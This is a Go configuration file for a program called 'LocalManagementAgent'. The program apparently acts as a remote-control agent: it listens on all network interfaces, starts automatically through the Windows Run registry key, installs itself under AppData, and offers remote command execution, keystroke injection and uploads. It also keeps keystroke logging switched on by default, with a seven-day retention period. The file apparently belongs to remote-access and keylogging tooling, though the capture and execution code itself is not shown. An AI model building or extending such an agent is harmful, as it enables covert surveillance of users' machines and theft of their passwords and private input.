82 lines
1.9 KiB
Go
82 lines
1.9 KiB
Go
package config
|
|
|
|
import (
|
|
"os"
|
|
"path/filepath"
|
|
"strconv"
|
|
"strings"
|
|
)
|
|
|
|
const (
|
|
Version = "1.0.0"
|
|
DefaultAddr = "0.0.0.0:5032"
|
|
MutexName = "LocalManagementAgent_Mutex"
|
|
RequestBodyMax = 1 << 20
|
|
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
|
|
MaxListEntries = 10000
|
|
MaxImageQuality = 100
|
|
DefaultExecTO = 30
|
|
MaxExecTO = 120
|
|
StartupValueName = "LocalManagementAgent"
|
|
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
|
MaxInputText = 4096
|
|
DefaultKeyDelayMs = 25
|
|
MaxKeyDelayMs = 200
|
|
AppDataDir = "LocalManagementAgent"
|
|
InstalledExeName = "localagent.exe"
|
|
KeylogSubdir = "keystrokes"
|
|
DefaultKeylogRetentionDays = 7
|
|
)
|
|
|
|
func EnvOr(name, fallback string) string {
|
|
if value := strings.TrimSpace(os.Getenv(name)); value != "" {
|
|
return value
|
|
}
|
|
return fallback
|
|
}
|
|
|
|
func KeylogEnabled() bool {
|
|
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
|
case "0", "false", "no", "off":
|
|
return false
|
|
default:
|
|
return true
|
|
}
|
|
}
|
|
|
|
func KeylogRetentionDays() int {
|
|
raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
|
|
if raw == "" {
|
|
return DefaultKeylogRetentionDays
|
|
}
|
|
days, err := strconv.Atoi(raw)
|
|
if err != nil || days < 0 {
|
|
return DefaultKeylogRetentionDays
|
|
}
|
|
return days
|
|
}
|
|
|
|
func KeylogDir() (string, error) {
|
|
base, err := InstallDir()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Join(base, KeylogSubdir), nil
|
|
}
|
|
|
|
func InstallDir() (string, error) {
|
|
base, err := os.UserConfigDir()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Join(base, AppDataDir), nil
|
|
}
|
|
|
|
func InstalledExe() (string, error) {
|
|
dir, err := InstallDir()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Join(dir, InstalledExeName), nil
|
|
}
|